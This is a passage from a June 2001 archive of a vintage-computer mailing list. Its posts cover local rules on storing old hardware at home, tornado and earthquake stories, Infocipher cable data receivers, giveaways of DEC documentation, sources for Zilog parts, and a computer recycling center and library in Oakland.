I'm not gonna argue, However :-) > > Reminds me, that I need to work on getting rid of a car in my folks yard > :-) > > Chad Fernandez > Michigan, USA > > Richard Erlacher wrote: > > > > I'd suspect that this is due to observability of "big iron" from some vantage > > point off the property. We've had annoying visits from city folks from time to > > time, apparently resulting from what one neighbor or another can see from his > > porch. My neighbor had a problem with his boat, which he parked in his front > > yard where it's shaded from the sun, and which I certainly like with parking it > > on the street. Someone didn't like that, however, and complained to the > > authrorities. The result was that a notice was sent by the city, citing a > > confusingly worded statute of which they included a relevant portion. It turns > > out, however, that, though, on first reading, the statute suggests that it's > > illegal to have anything at all anywhere on your property, what compliance with > > the statute really requres is a substantial concrete or other "firmament" on > > which to park the wheels of the trailer, which was easily solved by putting > > three 1' x 2' paving blocks under the wheels. > > > > I'd guess that there's a simple solution of that sort, if you allow cooler heads > > (your own, after it cools off) to prevail. > > > > Dick > > From jss at ou.edu Fri Jun 8 17:11:14 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:19 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: References: Message-ID: <992038274.3b214d82e2543@email.ou.edu> Quoting Russ Blakeman : > All states have had tornados, some just more than others. :-) Some have a LOT more. Oklahoma, for instance, where I live. We've had bunch of little ones this tornado season. I actually live about a mile south of the National Severe Storms Laboratory (NSSL) and their field of radar towers. I took a tour there waaay back in junior high school. The computer equipment was amazing; I also saw Unix for the first time there. Unfortunately, they are decidedly *not* a good source of classic computers, as theirs must be taken to be scrapped according to some law. > semi trucks are constantly blown off the highway and tipped by > invisible "dust devils" Those aren't tornados. > Every place has their sucky weather or conditions. At least with a > tornado they can see it coming at you with radar, a little hard to > do with earthquakes until it actually hits While I admit that certain warning signs precede the possibility of tornadoes, they are not *that* easy to track. Radar is not that good. With radar we can see where the rotation spots are in the storm, but the actual spotting and precise tracking has to be done visually by stormchasers. Problems often arise, for instance when the tornado is rain-wrapped or if it's dark. Some tornadoes come without any warning at all. Another problem is that our warning system (the local media) is metro-centric. If you live in the OKC metro area (like me), that is not a problem; the local media stays on TV nonstop to keep you advised. If you live 50 miles or more away and are threatened by a tornado, you don't even get close to the the same quality of notification; the media is more concerned with getting back to regular programming. -- Jeffrey S. Sharp jss@ou.edu From edick at idcomm.com Fri Jun 8 17:11:05 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:19 2005 Subject: Storage of computer and parts in the residential area References: <9d.169b89ab.28524b5b@aol.com> Message-ID: <005001c0f067$e966cca0$9cc762d8@idcomm.com> One thing worth considering is that the day is rapidly approaching when it will cost $100 a pound to dispose of your old and obsolete hardware, and $1000 a day for each day on which you don't do it. It would be well to have indoor storage for your computer hardware. At least then YOU get to choose what goes and when. Dick ----- Original Message ----- From: To: Sent: Friday, June 08, 2001 9:38 AM Subject: Re: Storage of computer and parts in the residential area > In a message dated 6/8/01 10:35:37 AM Eastern Daylight Time, jss@ou.edu > writes: > > > > > (3) They may just assume you are running a business, and your only > > violation would be having a business in a residential zone. That > > should be easy to disprove. > > > > AFAIAC According to general US law *they* would have to *prove* that you > *are* running a business. You do't have to prove you are not. By the way, as > mentioned before I would have them both prosecuted for tresspassing and > invasion of privacy. > > -Linc Fessenden > > In The Beginning there was nothing, which exploded - Yeah right... > > Calculating in binary code is as easy as 01,10,11. > > > From vaxman at qwest.net Fri Jun 8 17:15:50 2001 From: vaxman at qwest.net (Clint Wolff (VAX collector)) Date: Sun Feb 27 19:04:19 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: Message-ID: I had an argument recently with a brainless twit of a temporary receptionist that Colorado would never have an earthquake. She never did explain where the Rocky Mountains came from... clint On Fri, 8 Jun 2001, Russ Blakeman wrote: > Every place has their sucky weather or conditions. At least with a tornado > they can see it coming at you with radar, a little hard to do with > earthquakes until it actually hits and the seismographs go nuts. Of course > we also have some mythical fault here in the midwest that will be doomsday > someday but no one seems to know when. Sort of makes you know how ants feel > when you walk on their nest... > From rhblake at bigfoot.com Fri Jun 8 17:37:19 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:19 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: <992038274.3b214d82e2543@email.ou.edu> Message-ID: I know!! While stationed in Wichita we had temp duty assignments all over Okie and the TX panhandle...everytime we switched the radio station we heard the tornado warning go off from NOAA. Word is that your area is the tornado's birthplace and they get shipped elsewhere. I believe they have to do their computer equipment like most fed agencies - up for reuse by other fed agencies, then state, then county, then chraities, then up for auction - unless redistribution is restricted due to security reasons. > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Jeffrey S. Sharp > Sent: Friday, June 08, 2001 5:11 PM > To: classiccmp@classiccmp.org > Subject: RE: Storage of computer and parts in the residential area > > > Quoting Russ Blakeman : > > All states have had tornados, some just more than others. > > :-) Some have a LOT more. Oklahoma, for instance, where I live. > We've had bunch of little ones this tornado season. > > I actually live about a mile south of the National Severe Storms > Laboratory (NSSL) and their field of radar towers. I took a tour > there waaay back in junior high school. The computer equipment was > amazing; I also saw Unix for the first time there. Unfortunately, > they are decidedly *not* a good source of classic computers, as > theirs must be taken to be scrapped according to some law. > > > semi trucks are constantly blown off the highway and tipped by > > invisible "dust devils" > > Those aren't tornados. > > > Every place has their sucky weather or conditions. At least with a > > tornado they can see it coming at you with radar, a little hard to > > do with earthquakes until it actually hits > > While I admit that certain warning signs precede the possibility of > tornadoes, they are not *that* easy to track. Radar is not that > good. With radar we can see where the rotation spots are in the > storm, but the actual spotting and precise tracking has to be done > visually by stormchasers. Problems often arise, for instance when > the tornado is rain-wrapped or if it's dark. Some tornadoes come > without any warning at all. > > Another problem is that our warning system (the local media) is > metro-centric. If you live in the OKC metro area (like me), that is > not a problem; the local media stays on TV nonstop to keep you > advised. If you live 50 miles or more away and are threatened by > a tornado, you don't even get close to the the same quality of > notification; the media is more concerned with getting back to > regular programming. > > -- > Jeffrey S. Sharp > jss@ou.edu From rhblake at bigfoot.com Fri Jun 8 17:38:58 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:19 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: Message-ID: It was centered on Whiteface Mountain, near Lake Placid and Lake George is jsut down the street. Beautiful area but you quickly get tired of toques and hearing "eh?" (hey no offense to you Canadians eh?) > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Vance Dereksen > Sent: Friday, June 08, 2001 5:06 PM > To: classiccmp@classiccmp.org > Subject: RE: Storage of computer and parts in the residential area > > > > I remember that. I was in Lake George at the time. > > Peace... Sridhar > > On Fri, 8 Jun 2001, Russ Blakeman wrote: > > > We had an earthquake in the middle of the night back in 84 when > I lived in > > Plattsburgh NY (across from Burlington, VT) and it was havy for > that area > > but nothing for a Califonia quake - it was absolutely WEIRD. It was like > > standing on an elevated platform in Chicago when the train comes by - > > multiplied 20 or 30 times. The ground tremors from bomb testing on the > > Nellis Range in Nevada were stronger but we knew they were > coming and why > > they happened. > > > > > -----Original Message----- > > > From: owner-classiccmp@classiccmp.org > > > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Bryan Pope > > > Sent: Friday, June 08, 2001 2:36 PM > > > To: classiccmp@classiccmp.org > > > Subject: Re: Storage of computer and parts in the residential area > > > > > > > > > > > > > > Just a rant, but this whole perception of California being this > > > constantly > > > > roiling land mass is silly. > > > > > > > > > > And I have always wanted *some* sort of earthquake to see > what it is like > > > when I am there... But noooooo.... > > > From rhblake at bigfoot.com Fri Jun 8 17:41:22 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:19 2005 Subject: storing gear and businesses and so on In-Reply-To: Message-ID: It can interfere with the picture and sound if the unit is noisy electrically and you share a transformer though. I had a PC power supply so noisy that it made my X10 devices sporatically go on/off/dim/etc. Put a filtered input on for the power cord (scrapped from a Mac) and no more noise on the line and my TV even got better reception (no cable here and sat was new stuff then). > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Clint Wolff (VAX > collector) > Sent: Friday, June 08, 2001 5:03 PM > To: classiccmp > Subject: re: storing gear and businesses and so on > > > > Only if it causes interference on your neighbors TV. Since most > everyone is on cable or satellite nowdays, that isn't really > an issue. > > As a side note, my Sony DSS receiver (SAT-B1) causes so much > interference, you can't watch TV from rabbit ears in the > next room. I wonder how they got it past the FCC... > > Clint > > > On Fri, 8 Jun 2001, Jim Strickland wrote: > > > It does bring up a related question. If memory serves, electronic > > equipment for home use has to have an FCC class C rating, whereas > > equipment for business only needs to have a class B rating, since > > nobody is expecting to run TVs, radios, etc nearby (at least in > > theory). So my question is, if my vaxstation is only class b > > rated, can I get in trouble having it in my home? (not sure > > the vaxstation isn't class c rated, it's just an example here.) > > -- > > Jim Strickland > > jim@DIESPAMMERSCUMcalico.litterbox.com > > ----------------------------------------------------------------------- > > BeOS Powered! > > ----------------------------------------------------------------------- > > > > > From owad at applefritter.com Fri Jun 8 18:36:30 2001 From: owad at applefritter.com (Tom Owad) Date: Sun Feb 27 19:04:19 2005 Subject: Infocipher receivers Message-ID: <20010608233630.24841@mail.earthlink.net> In a box of Apple II equipment from a school I found three of what I understand to be Infocipher receivers. Is anbody familiar with these? Do any services still exist that use them? I read the devices communicate at 9600bps and the one is even labeled "Desk Top Data Demodulator". Are these really much different than cable modems? Thanks, Tom Applefritter www.applefritter.com From george at racsys.rt.rain.com Fri Jun 8 18:49:53 2001 From: george at racsys.rt.rain.com (George Leo Rachor Jr.) Date: Sun Feb 27 19:04:19 2005 Subject: Infocipher receivers In-Reply-To: <20010608233630.24841@mail.earthlink.net> Message-ID: Finally one I know..... At one time these supported a kind of one way newsfeed... If your cable system was so equipped these boxes would decode a stream of data and send it on to a dedicated MAC/PC that would sort articles into catagories. It was sort of like a newsfeed without it being interactive. I remember we were given a (postal) mailing address to sent notes to... they would transcribe the notes and add them to the system. I already had access to USENET and thought it a bit archaic then... Then was a long time ago. Think of it as a teletext service without any graphics.... George Rachor ========================================================= George L. Rachor Jr. george@rachors.com Hillsboro, Oregon http://rachors.com United States of America Amateur Radio : KD7DCX On Fri, 8 Jun 2001, Tom Owad wrote: > In a box of Apple II equipment from a school I found three of what I > understand to be Infocipher receivers. Is anbody familiar with these? > Do any services still exist that use them? I read the devices > communicate at 9600bps and the one is even labeled "Desk Top Data > Demodulator". Are these really much different than cable modems? > > Thanks, > Tom > > Applefritter > www.applefritter.com > From oliv555 at arrl.net Fri Jun 8 18:51:12 2001 From: oliv555 at arrl.net (no) Date: Sun Feb 27 19:04:19 2005 Subject: PDP11/45 docs (was:dumping dec docs) Message-ID: <3B2164F0.16C93C3@arrl.net> Anyone on-list running an 11/45? Intercepted these dumpster-bound goodies. As before, you pay postage. (also listed some printer docs left over from last weeks giveaway) - KT11-C memory management unit manual - KT11-C engineering drawings - KB11-A (11/45) CPU Maint. Manual - PDP11/45 system engineering drawings - LPV11 (M8027) Printer I/F users manual - LPV11-V (M8027) Field Maint. Print Set - LP11 line printer manual - LP11/LS11/LA11 line printer manual - Dataproducts 2230 (LP05) Tech manual - Dataproducts 2230 Logic Diagrams Enjoy, ..... nick o From jfoust at threedee.com Fri Jun 8 20:40:23 2001 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 19:04:19 2005 Subject: Infocipher receivers In-Reply-To: <20010608233630.24841@mail.earthlink.net> Message-ID: <4.3.2.7.0.20010608202106.01cf86d0@pc> At 07:36 PM 6/8/01 -0400, Tom Owad wrote: >In a box of Apple II equipment from a school I found three of what I >understand to be Infocipher receivers. Is anbody familiar with these? >Do any services still exist that use them? I read the devices >communicate at 9600bps and the one is even labeled "Desk Top Data >Demodulator". Are these really much different than cable modems? I've got one, too. I used it on an Amiga. They had PC software for them, too. They were quite cool devices. I never figured out why they didn't catch on. 9600 baud, 24 hours a day, in a compressed and packeted stream. Megabytes a day, back in the days of 2400 baud modems. The software showed a menu of message forums to read, some user-driven via a dial-up BBS on a mainframe, but most were news feeds and wire service copy. There was also a menu of files that you could download. You selected what you wanted, and presto, it would show up on your hard disk within 24 hours as those packets flew by. Mine had an extra card that decrypted the 15-minute delay stock ticker. The devices were cheap - maybe $100 in 1989 - and there were no further service charges unless you had the stock ticker. I seem to remember that the entire Rogers cable network broadcast the data, and I could get the data here in SE Wisconsin even though the modems were not advertised locally. Sometime within the last three years, the data feed stopped. I think I have notes about it somewhere. - John From KenzieM at sympatico.ca Fri Jun 8 20:57:53 2001 From: KenzieM at sympatico.ca (Mike Kenzie) Date: Sun Feb 27 19:04:19 2005 Subject: SB Systems Z-80 Starter Kit Message-ID: <000b01c0f087$9a114c50$0101a8c0@sympatico.ca> I picked up on of these this evening with the manual. I found some mention of a previous discussion on this list regarding these, but couldn't find any conclusions. It doesn't have the S-100 sockets, are these still available? What cards are supported? Does anyone else have one working? I also picked up a modem for a Commodore 64, and RAM expansion and a hyperion and all it's documentation. Collector of Vintage Computers From edick at idcomm.com Fri Jun 8 21:02:33 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:19 2005 Subject: new source for ZILOG parts References: <4.3.2.7.0.20010608202106.01cf86d0@pc> Message-ID: <001e01c0f088$3f700ba0$9cc762d8@idcomm.com> I just got a notification, in case anyone's interested, that Rochester Electronics, www.rocelec.com, a "beyond-end-of-life" surplus IC vendor is to begin offering the Zilog line of discontinued devices. Maybe that will help some of us maintain our old 1980's 8-bitters. They're not cheap, but they are better than not getting your machine fixed. Dick From oliv555 at arrl.net Fri Jun 8 20:39:49 2001 From: oliv555 at arrl.net (no) Date: Sun Feb 27 19:04:19 2005 Subject: PDP11/45 docs (was:dumping dec docs) References: <3B2164F0.16C93C3@arrl.net> Message-ID: <3B217E65.5C23CE6F@arrl.net> no wrote: > > Anyone on-list running an 11/45? Intercepted these dumpster-bound > goodies. As before, you pay postage. > > (also listed some printer docs left over from last weeks giveaway) > > - KT11-C memory management unit manual > - KT11-C engineering drawings > > - KB11-A (11/45) CPU Maint. Manual > - PDP11/45 system engineering drawings > > - LPV11 (M8027) Printer I/F users manual > - LPV11-V (M8027) Field Maint. Print Set > > - LP11 line printer manual > - LP11/LS11/LA11 line printer manual > > - Dataproducts 2230 (LP05) Tech manual > - Dataproducts 2230 Logic Diagrams > > Enjoy, > > ..... nick o OK, all docs have now been claimed, thanks for all the replies. - nick o From wonko at tmok.com Fri Jun 8 21:46:04 2001 From: wonko at tmok.com (Brian Hechinger) Date: Sun Feb 27 19:04:19 2005 Subject: Proteon P4200 and Suminet 3500H/FDDI Message-ID: <20010608224604.G50540@tmok.com> hmm, i haven't bothered this list about these yet, this may be a good place. i've gotten absolutely nowhere with these things. friend of mine found docs for the P4200 where he works, so i've pretty much got all the knowledge i need to make it work, sadly i lack an OS. if anyone at all has a copy of the OS for the Proteon P4200 please let me know, this thing is completely useless to me otherwise. i have found absolutely nothing out about the Suminet though. i can't find docs for it, actually i can find very little about this thing on the internet. if anyone has any info whatsoever, please let me know, it's got a serial port that looks like it would be a console, but it only prints the same line over and over (i'd have to hook it up to get a copy of the line) and it's nothing intelligable. any help at all would be great!!! cheers, -brian From allain at panix.com Fri Jun 8 21:35:11 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:19 2005 Subject: new source for ZILOG parts References: <4.3.2.7.0.20010608202106.01cf86d0@pc> <001e01c0f088$3f700ba0$9cc762d8@idcomm.com> Message-ID: <001101c0f08c$d0ec2b00$8a0101ac@ibm23xhr06> > they are better than not getting your machine fixed. Let's hear it! Everyone Spay or Neuter your old classic or before you know you whole house will be overrun with classiccmp's. John A. oops, too late From ljcst18+ at pitt.edu Fri Jun 8 21:46:04 2001 From: ljcst18+ at pitt.edu (Lucas J Cashdollar) Date: Sun Feb 27 19:04:19 2005 Subject: Need documentation on a 2114B HP Computer Message-ID: Hello Reader, I work at the University of Pittsburgh Physics department and we have a 2114B HP computer in storage. I tracked down the software for it but I do not have any manuals on how to run the thing. If someone could help me out with an operations manual and maybe an instruction set or something the information would be appreciated. Thanks, Luke Cashdollar From broth at heathers.stdio.com Fri Jun 8 21:59:37 2001 From: broth at heathers.stdio.com (Brian Roth) Date: Sun Feb 27 19:04:19 2005 Subject: Infocipher receivers References: <4.3.2.7.0.20010608202106.01cf86d0@pc> Message-ID: <3B219119.8658D1C0@heathers.stdio.com> You could also get them for General Instruments Satellite TV descramblers. There was an Infocipher port on the back. Brian. John Foust wrote: > At 07:36 PM 6/8/01 -0400, Tom Owad wrote: > >In a box of Apple II equipment from a school I found three of what I > >understand to be Infocipher receivers. Is anbody familiar with these? > >Do any services still exist that use them? I read the devices > >communicate at 9600bps and the one is even labeled "Desk Top Data > >Demodulator". Are these really much different than cable modems? From jpero at sympatico.ca Fri Jun 8 17:51:13 2001 From: jpero at sympatico.ca (jpero@sympatico.ca) Date: Sun Feb 27 19:04:19 2005 Subject: new source for ZILOG parts In-Reply-To: <001101c0f08c$d0ec2b00$8a0101ac@ibm23xhr06> Message-ID: <20010609024837.EJVS19826.tomts7-srv.bellnexxia.net@duron> > From: "John Allain" > To: > Subject: Re: new source for ZILOG parts > Date: Fri, 8 Jun 2001 22:35:11 -0400 > Reply-to: classiccmp@classiccmp.org > > they are better than not getting your machine fixed. > > Let's hear it! Everyone Spay or Neuter your old classic > or before you know you whole house will be overrun with > classiccmp's. Hehehe... DONE. Every one I bring in got fixed or taken apart for parts to fix what I have here so it won't reproduce. Only problem is parts seems to be multiplying still till they quit when I take few to fix a machine. :-) ;-) Wizard (those non-living ones or parts machines) From spectre at stockholm.ptloma.edu Fri Jun 8 21:57:24 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:19 2005 Subject: new source for ZILOG parts In-Reply-To: <001101c0f08c$d0ec2b00$8a0101ac@ibm23xhr06> from John Allain at "Jun 8, 1 10:35:11 pm" Message-ID: <200106090257.TAA04532@stockholm.ptloma.edu> > > they are better than not getting your machine fixed. > > Let's hear it! Everyone Spay or Neuter your old classic > or before you know you whole house will be overrun with > classiccmp's. You mean, they mate?? My stars, man, what disfigured progeny would result if my Commodore 128 took an insatiable fancy to the PCjr? I won't tolerate such rabid immorality betwixt cohabiting systems! (Besides, how could you tell which one is which gender? :-) -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- "I'd love to go out with you, but I'm in perpetual denial." ---------------- From foo at siconic.com Fri Jun 8 20:55:39 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:19 2005 Subject: OT: Talking 'bout shakin & quakin (was Re: Storage of computer and parts in the residential area) In-Reply-To: <200106081935.PAA04072@wordstock.com> Message-ID: On Fri, 8 Jun 2001, Bryan Pope wrote: > > Just a rant, but this whole perception of California being this constantly > > roiling land mass is silly. > > And I have always wanted *some* sort of earthquake to see what it is > like when I am there... But noooooo.... They're actually quite fun. The last two that I was in were the ones in the desert in San Bernadino back in the early 90s. I was in Rancho Cucamonga, which is about an hour west of the epicenter. I was sleeping on my sister's couch after getting shit-faced at my cousin's wedding that night. The first one hit at around 4am. It was a little nerve wracking. When the second one came an hour later, I decided it would be a good time to see if the ground moves like a wave as I'd heard from others, so I layed on the floor and enjoyed the ride. Meanwhile my sister is screaming for everyone to get under a door. She's always been jumpy in earthquakes :) Now that I'm a home owner living within 20 miles of a major fault, I don't have such a cavalier attitude anymore, especially since earthquake insurance in California is a funny joke (i.e. even if you could afford it, it's better to forgo it and take your chances). Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From ajp166 at bellatlantic.net Fri Jun 8 22:19:36 2001 From: ajp166 at bellatlantic.net (ajp166) Date: Sun Feb 27 19:04:19 2005 Subject: Will trade classic H/W for CP/M 2.2 help! Message-ID: <010301c0f093$372eb300$a9799a8d@ajp166> From: Lance Costanzo >Speaking of CP/M and DRI, here's some web sites that may be of interest: >http://www2.gol.com/users/joewein/dri.html >http://members.iinet.net.au/~daveb/cpm/index.html >http://www.faqs.org/faqs/CPM-faq/ >http://www.retroarchive.org/cpm/ >http://members.aol.com/wwheco1/commscpm.htm >http://www.maxframe.com/GARY&CPM.HTM >http://www.daml.org/people/jflynn/algolm.html You can also get CP/M source and binaries, and online docs at http://www/cpm.z80.de >>You can buy a "new" licensed copy of CP/M (the original DR version) from >>California Digital for only $9 at http://www.cadigital.com/software.htm. It >>won't be set up for your particular computer, though, but does have the DR >>manuals. only $9 and you get a manual? dang! The manuals are a good deal alone. Allison From ajp166 at bellatlantic.net Fri Jun 8 22:08:05 2001 From: ajp166 at bellatlantic.net (ajp166) Date: Sun Feb 27 19:04:19 2005 Subject: SB Systems Z-80 Starter Kit Message-ID: <010201c0f093$36bda1b0$a9799a8d@ajp166> From: Mike Kenzie >It doesn't have the S-100 sockets, are these still >available? Fairly easy to get still. They are not called s100 sockets. Not cheap, figure 3-10$ each. >What cards are supported? Presumeably if the bus is S100 a great many of the S100 cards save for CPUs (though slaves may work). >Does anyone else have one working? Not I. Allison From gunther at aurora.regenstrief.org Fri Jun 8 22:19:26 2001 From: gunther at aurora.regenstrief.org (Gunther Schadow) Date: Sun Feb 27 19:04:19 2005 Subject: Huge PDP-11 rescue opportunity References: <991967553.3b20394186926@email.ou.edu> Message-ID: <3B2195BE.89ADD340@aurora.regenstrief.org> "Jeffrey S. Sharp" wrote: > >From what I can see, the equipment looks to be in pristine > condition, having been well cared for in their computer room. I > hope that it makes a nice find for someone. And I hope that the lucky guy who takes this huge load will cosider swinging by your house and leave one for you! regards -Gunther From foo at siconic.com Fri Jun 8 21:22:36 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:19 2005 Subject: Old computer lending library In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD371510E8@jeffserver.tegjeff.com> Message-ID: On Fri, 8 Jun 2001, Douglas Quebbeman wrote: > > This is not a bad idea at all. > > And not the first time it's been suggested. > > Sellam, was it you who brought this up before? I believe I had some part in that, yes. I have always been trying to get the locals to all congregate in one large building somewhere in the Sillycon Valley, but nobody can really agree where that place should be. I have been and will continue to be in Oakland for sometime. It's about a half hour from where I live, and about a half hour from the SiVa proper. The rents are cheaper than the rest of the Bay Area. But everyone else would prefer to stick closer to home, which I can fully understand. I would like to move everything back to somewhere near where I live (within 10 minutes by bike preferably) but nothing suitable has become available. Besides, the rent is free where I'm at now, and I ain't gonna ruin a good thing. By the way, I should plug the Alameda County Computer Resource Center, which is the establishment that is providing me with the space. The ACCRC accepts donations of old computers from corporations and individuals, refurbishes ones that are Pentium and above, and donates them back to schools, charities, etc. They just became the largest recyclers of used computers in California, and are one of the largest in the nation. I wouldn't be surprised if they become the largest within the next year or so. They've placed computers on every continent on the world including Antarctica. I'm working with them now to facilitate the transfer of computers to India (with many thanks to John Lawson and colleagues of his) and will hopefully help facilitate the transfer of computers to South America with some contacts I have down there. Here is a HotWired article where the ACCRC is mentioned for getting some of their computers to Cuba: http://www.wired.com/news/medtech/0,1286,44140,00.html They are a great organization, headed up by an incredibly smart, talented and driven Executive Director, James Burgett. He will be speaking at this year's VCF 5.0 by the way. The stuff they get in which cannot be refurbished is sent off to China as scrap, to pay for the organization's expenses (it is completely self-funded, no outside grants). Interesting old computers that come in are of course moved to the upstairs "computer museum". There is other really cool stuff going on there. They have a 33 node Beowulf cluster up and running, a Mac lab, and a local nerd is setting up a computer game museum there (which the VCF will be seeding with our large archive of old computer games :) Their website is: http://www.accrc.org Check it out. Anyway, once I'm all moved in (I've been moving stuff over for a couple months now; I did 8 pickup truck loads this week and still have a decent pile left...oi :) the first project will be to set up an official computer museum. It will combine parts of the VCF Archives with the ACCRC's collection. The first exhibit will focus on local companies, and by local I mean local to the Oakland and immediately surrounding areas: Godbout/CompuPro (Oakland), Processor Technology (Berkeley), Northstar (San Leandro), IMSAI (San Leandro), Osborne (Hayward), etc. Eventually we'll introduce other themes. I'm also planning to finally set up my library before the end of the year. The cataloguing of materials has been underway for months now. We're just about to reach the 1,000 mark on books catalogued. The magazine collection is about half sorted. The manuals and software still need to be worked on. I acquired 3 large bookshelves from Crown Books (a chain bookseller on the west coast that just went under). Once everything is set up, it'll be open to the public for browsing and checkout. Anyhoooo, the idea you are referring to, Doug, was floated by someone else on the list (I believe it was Mike Dogas) whereby people would exchange computers via shipping company, and we would play with them to our heart's content. Sort of like turning everyone's individual collections into one large homogenous one. I think the idea is swell, but because of the way I am structuring the VCF and the additional services we provide, I wouldn't be too inclined to send out machines in this manner. I am happy to loan machines and other resources locally, but I wouldn't want to go through the hassle of packing machines up for shipping. Of course, people are always welcome to come by and play. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Fri Jun 8 21:24:38 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:20 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: Message-ID: On Fri, 8 Jun 2001, Clint Wolff (VAX collector) wrote: > They've got you here... > > > > > > > 2. Involve the use of mechanical equipment or storage of material and/or > > > supplies on trucks in amounts not recognized as part of reasonable > > > household use. First, it's not a business (which nullifies every other condition). Second, define "reasonable". Is it reasonable for someone to have 100 Beanie Babies, or 100 GI Joe dolls, or 100 anythings in their house? Who decides what is "reasonable"? Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From allain at panix.com Fri Jun 8 23:04:33 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:20 2005 Subject: IBM 5150, 5100 site References: <010301c0f093$372eb300$a9799a8d@ajp166> Message-ID: <003201c0f099$4aca2c40$8a0101ac@ibm23xhr06> While doing maint on some links I noticed that IBM is doing a mini history of PC class machines from their historical archives right now as a kind of 30 year anniversary. Kind of since the 5100 is in it too. http://www-1.ibm.com/ibm/history/exhibits/exhibit_10++++++++.html John A. From edick at idcomm.com Fri Jun 8 23:21:27 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:20 2005 Subject: new source for ZILOG parts References: <4.3.2.7.0.20010608202106.01cf86d0@pc> <001e01c0f088$3f700ba0$9cc762d8@idcomm.com> <001101c0f08c$d0ec2b00$8a0101ac@ibm23xhr06> Message-ID: <000b01c0f09b$a6fefde0$9cc762d8@idcomm.com> EGAD! What a twisted bunch. ... reminds me of me ... Dick ----- Original Message ----- From: "John Allain" To: Sent: Friday, June 08, 2001 8:35 PM Subject: Re: new source for ZILOG parts > > they are better than not getting your machine fixed. > > Let's hear it! Everyone Spay or Neuter your old classic > or before you know you whole house will be overrun with > classiccmp's. > > John A. > oops, too late > > > From fernande at internet1.net Sat Jun 9 00:16:54 2001 From: fernande at internet1.net (Chad Fernandez) Date: Sun Feb 27 19:04:20 2005 Subject: Storage of computer and parts in the residential area References: Message-ID: <3B21B146.5CF2C598@internet1.net> Sellam Ismail wrote: > and that the midwest has dozens of tornados (some catastrophic), Tornado Alley is pretty bad but here in Michigan we don't have much of a problem. >and > the Atlantic and northeast have terrible weather almost year round, Yes, but they have wonderful treasure troves of computers :-) We have none in Michigan, I think they have been outlawed here with the exception UofM, MSU, and GM, Ford, and what's left of Chrysler. > I'll > take the occasional major earthquake every decade or two over all that > nonsense any day (and enjoy the great weather to boot). California has more earthquakes than every decade or two. They might be smaller, but they still cause damages and strike fear into the rest of the nation. Chad Fernandez Michigan, USA From fernande at internet1.net Sat Jun 9 00:24:42 2001 From: fernande at internet1.net (Chad Fernandez) Date: Sun Feb 27 19:04:20 2005 Subject: Storage of computer and parts in the residential area References: Message-ID: <3B21B31A.465BBEA9@internet1.net> Russ, It's not mythical. About 10 to 15 years ago we got a small quake out of it. I think it is in Ohio, but we felt a little tremor here in Michigan. My uncle was building a dock in a lake, while a boat slowly went by, during the tremor. He wondered how such a small boat, going so slowly, could make such forceful wake :-) I was sitting in church, on a Wed night, and the kid in front of me thought I was pushing on his chair. Chad Fernandez Michigan, USA Russ Blakeman wrote: > Of course > we also have some mythical fault here in the midwest that will be doomsday > someday but no one seems to know when. From fernande at internet1.net Sat Jun 9 00:29:26 2001 From: fernande at internet1.net (Chad Fernandez) Date: Sun Feb 27 19:04:20 2005 Subject: Storage of computer and parts in the residential area References: Message-ID: <3B21B436.B0E6DA7A@internet1.net> 100 Beanie Babies is definetly unreasonable, ugh, gack.... etc Chad Fernandez Michigan, USA Sellam Ismail wrote: > First, it's not a business (which nullifies every other condition). > Second, define "reasonable". Is it reasonable for someone to have 100 > Beanie Babies, or 100 GI Joe dolls, or 100 anythings in their house? Who > decides what is "reasonable"? > > Sellam Ismail Vintage Computer Festival > ------------------------------------------------------------------------------ > International Man of Intrigue and Danger http://www.vintage.org From fernande at internet1.net Sat Jun 9 00:33:34 2001 From: fernande at internet1.net (Chad Fernandez) Date: Sun Feb 27 19:04:20 2005 Subject: Subject: Re: Storage of computer and parts in the residentialare a References: Message-ID: <3B21B52E.D6C5B013@internet1.net> 20 years ago? I didn'tthink they had decomished any silos back then? Chad Fernandez Michigan, USA "Zane H. Healy" wrote: > The scariest thing along these lines was something I saw on TV about 20 > years. This family was living in a silo, and in the bottom they'd built a > replica of the original bridge of the Starship Enterprise. Somehow that's > something that was scary enough to have really stuck in my brain! > > Zane From chris at mainecoon.com Sat Jun 9 00:46:22 2001 From: chris at mainecoon.com (Chris Kennedy) Date: Sun Feb 27 19:04:20 2005 Subject: Talking 'bout shakin & quakin (was Re: Storage of computer and parts in the residential area) In-Reply-To: Message-ID: Sellam wrote: > They're actually quite fun. [snip] To make this remotely on topic, I recall experiencing an earthquake at 